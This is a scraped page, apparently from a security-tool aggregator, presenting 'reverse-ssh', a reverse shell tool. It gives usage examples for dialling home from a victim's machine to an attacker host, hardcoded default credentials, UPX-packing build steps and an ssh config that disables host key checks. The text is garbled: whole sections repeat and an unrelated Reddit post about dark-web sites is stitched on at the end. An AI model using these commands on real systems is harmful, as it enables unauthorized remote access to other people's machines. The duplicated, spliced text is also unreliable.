# On attacker (default password: letmeinbrudipls)
attacker$ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ssh target In the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22. Just prepend @ and provide the password once asked to do so. Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet... For even more convenience, add the following to your ~/.ssh/config, copy the ssh private key (https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh) to ~/.ssh/ and simply call ssh target or sftp target afterwards: Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Full usage
Usage: reverse-ssh [options] [@] Examples: Bind: reverse-ssh reverse-ssh -v -l :4444 Reverse: reverse-ssh 192.168.0.1 reverse-ssh kali@192.168.0.1 reverse-ssh -p 31337 192.168.0.1 reverse-ssh -v -b 0 kali@192.168.0.2 Options: -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -l, Bind scenario only: listen at this address:port (default: :31337) -p, Reverse scenario only: ssh port at home (default: 22) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) -v, Emit log output Optional target which enables the reverse scenario. Can be prepended with @ to authenticate as a different user than 'reverse' while dialling home. Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi" ">reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor
Usage: reverse-ssh [options] [@]
Examples:
Bind:
reverse-ssh
reverse-ssh -v -l :4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh kali@192.168.0.1
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 kali@192.168.0.2
Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
- v, Emit log output
Optional target which enables the reverse scenario. Can be prepended with
@ to authenticate as a different user than 'reverse' while dialling home.
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Build instructions
Make sure to install the above requirements (https://www.kitploit.com/search/label/Requirements) such as golang in a matching version and set it up correctly. Afterwards, you can compile with make, which will create static binaries in bin. Use make compressed to pack the binaries with upx to further reduce their size. make
# or to additionally created binaries packed with upx
attacker$ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ssh target In the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22. Just prepend @ and provide the password once asked to do so. Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet... For even more convenience, add the following to your ~/.ssh/config, copy the ssh private key (https://github.com/Fahrj/reverse-ssh/blob/master/id_reverse-ssh) to ~/.ssh/ and simply call ssh target or sftp target afterwards: Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
Full usage
Usage: reverse-ssh [options] [@] Examples: Bind: reverse-ssh reverse-ssh -v -l :4444 Reverse: reverse-ssh 192.168.0.1 reverse-ssh kali@192.168.0.1 reverse-ssh -p 31337 192.168.0.1 reverse-ssh -v -b 0 kali@192.168.0.2 Options: -s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash) for windows this can only be used to give a path to 'ssh-shellhost.exe' to enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory) -l, Bind scenario only: listen at this address:port (default: :31337) -p, Reverse scenario only: ssh port at home (default: 22) -b, Reverse scenario only: bind to this port after dialling home (default: 8888) -v, Emit log output Optional target which enables the reverse scenario. Can be prepended with @ to authenticate as a different user than 'reverse' while dialling home. Credentials: Accepting all incoming connections from any user with either of the following: * Password "letmeinbrudipls" * PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi" ">reverseSSH v1.1.0 Copyright (C) 2021 Ferdinor
Usage: reverse-ssh [options] [@]
Examples:
Bind:
reverse-ssh
reverse-ssh -v -l :4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh kali@192.168.0.1
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 kali@192.168.0.2
Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
- v, Emit log output
Optional target which enables the reverse scenario. Can be prepended with
@ to authenticate as a different user than 'reverse' while dialling home.
Credentials:
Accepting all incoming connections from any user with either of the following:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Build instructions
Make sure to install the above requirements (https://www.kitploit.com/search/label/Requirements) such as golang in a matching version and set it up correctly. Afterwards, you can compile with make, which will create static binaries in bin. Use make compressed to pack the binaries with upx to further reduce their size. make
# or to additionally created binaries packed with upx
make compressed You can also specify a different default shell (RS_SHELL), a personalized password (RS_PASS) or an authorized key (RS_PUB) when compiling: ssh-keygen -t ed25519 -f id_reverse-ssh
RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Building for different operating systems or architectures
By default, reverse-ssh is compiled for your current OS and architecture, as well as for linux and windows in x86 and x64. To compile for other architectures or another OS you can provide environmental variables which match your target, e.g. for linux/arm64: GOARCH=arm64 GOOS=linux make compressed A list of available targets in format OS/arch can be obtained via go tool dist list.
Contribute
Is a mind-blowing feature missing? Anything not working as intended? Create an issue or pull request!
Download Reverse-Ssh (https://github.com/Fahrj/reverse-ssh)
RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Building for different operating systems or architectures
By default, reverse-ssh is compiled for your current OS and architecture, as well as for linux and windows in x86 and x64. To compile for other architectures or another OS you can provide environmental variables which match your target, e.g. for linux/arm64: GOARCH=arm64 GOOS=linux make compressed A list of available targets in format OS/arch can be obtained via go tool dist list.
Contribute
Is a mind-blowing feature missing? Anything not working as intended? Create an issue or pull request!
Download Reverse-Ssh (https://github.com/Fahrj/reverse-ssh)
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Support for the page
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Support for the page
If i made my own website on deepweb or dark web can i share my link to get support from community?
submitted by /u/arshiasohrabi
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reddit
Support for the page
If i made my own website on deepweb or dark web can i share my link to get support from community?
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